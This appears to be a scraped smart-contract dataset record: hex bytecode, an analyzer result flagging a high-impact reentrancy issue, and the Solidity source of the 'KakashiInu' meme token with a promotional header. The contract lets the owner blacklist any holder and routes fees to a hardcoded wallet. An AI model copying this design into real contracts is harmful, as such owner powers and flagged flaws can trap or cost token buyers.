61028157600080fd5b50601554610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b506702c68af0bb1400005b60405190815260200161023c565b3480156102de57600080fd5b506102656102ed366004611c1b565b61069f565b3480156102fe57600080fd5b506102c460195481565b34801561031457600080fd5b506040516009815260200161023c565b34801561033057600080fd5b50601654610295906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611bab565b61071f565b34801561037057600080fd5b506101fc61037f366004611dcc565b61076a565b34801561039057600080fd5b506101fc6107b2565b3480156103a557600080fd5b506102c46103b4366004611bab565b6107fd565b3480156103c557600080fd5b506101fc61081f565b3480156103da57600080fd5b506101fc6103e9366004611de6565b610893565b3480156103fa57600080fd5b506101fc610934565b34801561040f57600080fd5b506102c460175481565b34801561042557600080fd5b506000546001600160a01b0316610295565b34801561044357600080fd5b506102c460185481565b34801561045957600080fd5b5060408051808201909152600481526304d5249560e41b602082015261022f565b34801561048657600080fd5b506101fc610495366004611de6565b610977565b3480156104a657600080fd5b506101fc6104b5366004611dfe565b6109a6565b3480156104c657600080fd5b506102656104d5366004611c5b565b610a5e565b3480156104e657600080fd5b506102656104f5366004611bab565b60116020526000908152604090205460ff1681565b34801561051657600080fd5b506101fc610a6b565b34801561052b57600080fd5b506101fc61053a366004611c86565b610abf565b34801561054b57600080fd5b506102c460085481565b34801561056157600080fd5b506102c4610570366004611be3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105a757600080fd5b506101fc6105b6366004611de6565b610b6e565b3480156105c757600080fd5b506101fc6105d6366004611bab565b610c11565b6000546001600160a01b0316331461060e5760405162461bcd60e51b815260040161060590611e82565b60405180910390fd5b60005b81518110156106845760016011600084848151811061064057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067c81611f95565b915050610611565b5050565b6000610695338484610cfb565b5060015b92915050565b60006106ac848484610e1f565b3360009081526005602052604090205460ff1661071557610715843361071085604051806060016040528060288152602001611ff2602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113ed565b610cfb565b5060019392505050565b6000546001600160a01b031633146107495760405162461bcd60e51b815260040161060590611e82565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107945760405162461bcd60e51b815260040161060590611e82565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107e757506014546001600160a01b0316336001600160a01b0316145b6107f057600080fd5b476107fa81611427565b50565b6001600160a01b038116600090815260026020526040812054610699906114ac565b6000546001600160a01b031633146108495760405162461bcd60e51b815260040161060590611e82565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bd5760405162461bcd60e51b815260040161060590611e82565b6108d16103e86702c68af0bb140000611f3f565b81101561092f5760405162461bcd60e51b815260206004820152602660248201527f43616e6e6f7420736574206d61785478416d6f756e74206c6f776572207468616044820152656e20302e312560d01b6064820152608401610605565b601755565b6000546001600160a01b0316331461095e5760405162461bcd60e51b815260040161060590611e82565b6016805460ff60a01b1916600160a01b17905543600855565b6000546001600160a01b031633146109a15760405162461bcd60e51b815260040161060590611e82565b601955565b6000546001600160a01b031633146109d05760405162461bcd60e51b815260040161060590611e82565b6009849055600b839055600a829055600c81905560006109f08285611f27565b905060006109fe8487611f27565b9050601982111580610a11575060198111155b610a565760405162461bcd60e51b815260206004820152601660248201527546656573206d75737420626520756e6465722032352560501b6044820152606401610605565b505050505050565b6000610695338484610e1f565b6013546001600160a01b0316336001600160a01b03161480610aa057506014546001600160a01b0316336001600160a01b0316145b610aa957600080fd5b6000610ab4306107fd565b90506107fa81611530565b6000546001600160a01b03163314610ae95760405162461bcd60e51b815260040161060590611e82565b60005b82811015610b68578160056000868685818110610b1957634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610b2e9190611bab565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b6081611f95565b915050610aec565b50505050565b6000546001600160a01b03163314610b985760405162461bcd60e51b815260040161060590611e82565b610bac6103e86702c68af0bb140000611f3f565b811015610c0c5760405162461bcd60e51b815260206004820152602860248201527f43616e6e6f7420736574206d617857616c6c657453697a65206c6f776572207460448201526768616e20302e312560c01b6064820152608401610605565b601855565b6000546001600160a01b03163314610c3b5760405162461bcd60e51b815260040161060590611e82565b6001600160a01b038116610ca05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610605565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d5d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610605565b6001600160a01b038216610dbe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610605565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e835760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610605565b6001600160a01b038216610ee55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610605565b60008111610f475760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610605565b6000546001600160a01b03848116911614801590610f7357506000546001600160a01b03838116911614155b156112cb57601654600160a01b900460ff1661100c576000546001600160a01b0384811691161461100c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610605565b60175481111561105e5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610605565b6001600160a01b03831660009081526011602052604090205460ff161580156110a057506001600160a01b03821660009081526011602052604090205460ff16155b6110f85760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610605565b600854431115801561111757506016546001600160a01b038481169116145b801561113157506015546001600160a01b03838116911614155b801561114657506001600160a01b0382163014155b1561116f576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146111f45760185481611191846107fd565b61119b9190611f27565b106111f45760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610605565b60006111ff306107fd565b6019546017549192508210159082106112185760175491505b80801561122f5750601654600160a81b900460ff16155b801561124957506016546001600160a01b03868116911614155b801561125e5750601654600160b01b900460ff165b801561128357506001600160a01b03851660009081526005602052604090205460ff16155b80156112a857506001600160a01b03841660009081526005602052604090205460ff16155b156112c8576112b682611530565b4780156112c6576112c647611427565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061130d57506001600160a01b03831660009081526005602052604090205460ff165b8061133f57506016546001600160a01b0385811691161480159061133f57506016546001600160a01b03848116911614155b1561134c575060006113e1565b6016546001600160a01b03858116911614801561137757506015546001600160a01b03848116911614155b1561138957600954600d55600a54600e555b6016546001600160a01b0384811691161480156113b457506015546001600160a01b03858116911614155b156113e15760006113d2600c54600a546116d590919063ffffffff16565b5050600b54600d55600c54600e555b610b6884848484611717565b600081848411156114115760405162461bcd60e51b81526004016106059190611e2f565b50600061141e8486611f7e565b95945050505050565b6013546001600160a01b03166108fc6114418360026116d5565b6040518115909202916000818181858888f19350505050158015611469573d6000803e3d6000fd5b506014546001600160a01b03166108fc6114848360026116d5565b6040518115909202916000818181858888f19350505050158015610684573d6000803e3d6000fd5b60006006548211156115135760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610605565b600061151d611745565b905061152983826116d5565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061158657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156115da57600080fd5b505afa1580156115ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116129190611bc7565b8160018151811061163357634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526015546116599130911684610cfb565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611692908590600090869030904290600401611eb7565b600060405180830381600087803b1580156116ac57600080fd5b505af11580156116c0573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b600061152983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611768565b8061172457611724611796565b61172f8484846117c4565b80610b6857610b68600f54600d55601054600e55565b60008060006117526118bb565b909250905061176182826116d5565b9250505090565b600081836117895760405162461bcd60e51b81526004016106059190611e2f565b50600061141e8486611f3f565b600d541580156117a65750600e54155b156117ad57565b600d8054600f55600e805460105560009182905555565b6000806000806000806117d6876118fb565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506118089087611958565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611837908661199a565b6001600160a01b038916600090815260026020526040902055611859816119f9565b6118638483611a43565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118a891815260200190565b60405180910390a3505050505050505050565b60065460009081906702c68af0bb1400006118d682826116d5565b8210156118f2575050600654926702c68af0bb14000092509050565b90939092509050565b60008060008060008060008060006119188a600d54600e54611a67565b9250925092506000611928611745565b9050600080600061193b8e878787611abc565b919e509c509a509598509396509194505050505091939550919395565b600061152983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113ed565b6000806119a78385611f27565b9050838110156115295760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610605565b6000611a03611745565b90506000611a118383611b0c565b30600090815260026020526040902054909150611a2e908261199a565b30600090815260026020526040902055505050565b600654611a509083611958565b600655600754611a60908261199a565b6007555050565b6000808080611a816064611a7b8989611b0c565b906116d5565b90506000611a946064611a7b8a89611b0c565b90506000611aac82611aa68b86611958565b90611958565b9992985090965090945050505050565b6000808080611acb8886611b0c565b90506000611ad98887611b0c565b90506000611ae78888611b0c565b90506000611af982611aa68686611958565b939b939a50919850919650505050505050565b600082611b1b57506000610699565b6000611b278385611f5f565b905082611b348583611f3f565b146115295760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610605565b8035611b9681611fdc565b919050565b80358015158114611b9657600080fd5b600060208284031215611bbc578081fd5b813561152981611fdc565b600060208284031215611bd8578081fd5b815161152981611fdc565b60008060408385031215611bf5578081fd5b8235611c0081611fdc565b91506020830135611c1081611fdc565b809150509250929050565b600080600060608486031215611c2f578081fd5b8335611c3a81611fdc565b92506020840135611c4a81611fdc565b929592945050506040919091013590565b60008060408385031215611c6d578182fd5b8235611c7881611fdc565b946020939093013593505050565b600080600060408486031215611c9a578283fd5b833567ffffffffffffffff80821115611cb1578485fd5b818601915086601f830112611cc4578485fd5b813581811115611cd2578586fd5b8760208260051b8501011115611ce6578586fd5b602092830195509350611cfc9186019050611b9b565b90509250925092565b60006020808385031215611d17578182fd5b823567ffffffffffffffff80821115611d2e578384fd5b818501915085601f830112611d41578384fd5b813581811115611d5357611d53611fc6565b8060051b604051601f19603f83011681018181108582111715611d7857611d78611fc6565b604052828152858101935084860182860187018a1015611d96578788fd5b8795505b83861015611dbf57611dab81611b8b565b855260019590950194938601938601611d9a565b5098975050505050505050565b600060208284031215611ddd578081fd5b61152982611b9b565b600060208284031215611df7578081fd5b5035919050565b60008060008060808587031215611e13578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611e5b57858101830151858201604001528201611e3f565b81811115611e6c5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611f065784516001600160a01b031683529383019391830191600101611ee1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611f3a57611f3a611fb0565b500190565b600082611f5a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611f7957611f79611fb0565b500290565b600082821015611f9057611f90611fb0565b500390565b6000600019821415611fa957611fa9611fb0565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fa57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122089394196c0894d2872e46862bb82c177c5152a45dcc8f522a01bf17ec6aa545864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,974 |
0xc89e566653223154f5de35506730ac9c4d359e42
|
/**
Anime season is back !!
✨The hidden star of Naruto series ✨
🔥KAKASHI INU🔥
Tax: 6%/8% Buy/Sell
MaxBuy :1.5%
MaxWallet:3%
Web: http://kakashiinu.net
Tg: https://t.me/KakashiInuPortal
Will be Locked and renounced
*/
pragma solidity ^0.8.10;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KakashiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "KakashiInu";
string private constant _symbol = "KakashiInu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x1FBD39685a6995EBE6F744a9E23cB277C843b8f6);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 6;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1500000000 * 10**9;
_maxWalletSize = 3000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061271e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127e8565b6104b4565b60405161018e9190612843565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061286d565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129d0565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a19565b61060d565b60405161021f9190612843565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a6c565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ab5565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612afc565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b29565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a6c565b6109dd565b604051610319919061286d565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612b65565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061271e565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127e8565b610c9e565b6040516103da9190612843565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b29565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b80565b611330565b60405161046e919061286d565b60405180910390f35b60606040518060400160405280600a81526020017f4b616b61736869496e7500000000000000000000000000000000000000000000815250905090565b60006104c86104c16113b7565b84846113bf565b6001905092915050565b600068056bc75e2d63100000905090565b6104eb6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c0c565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612c8a565b91505061057b565b5050565b600061061a848484611588565b6106db846106266113b7565b6106d6856040518060600160405280602881526020016136c160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c199092919063ffffffff16565b6113bf565b600190509392505050565b6106ee6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c0c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c0c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c0c565b60405180910390fd5b6000811161093357600080fd5b61096260646109548368056bc75e2d63100000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b7565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d41565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dad565b9050919050565b610a366113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a00000000000000000000000000000000000000000000000000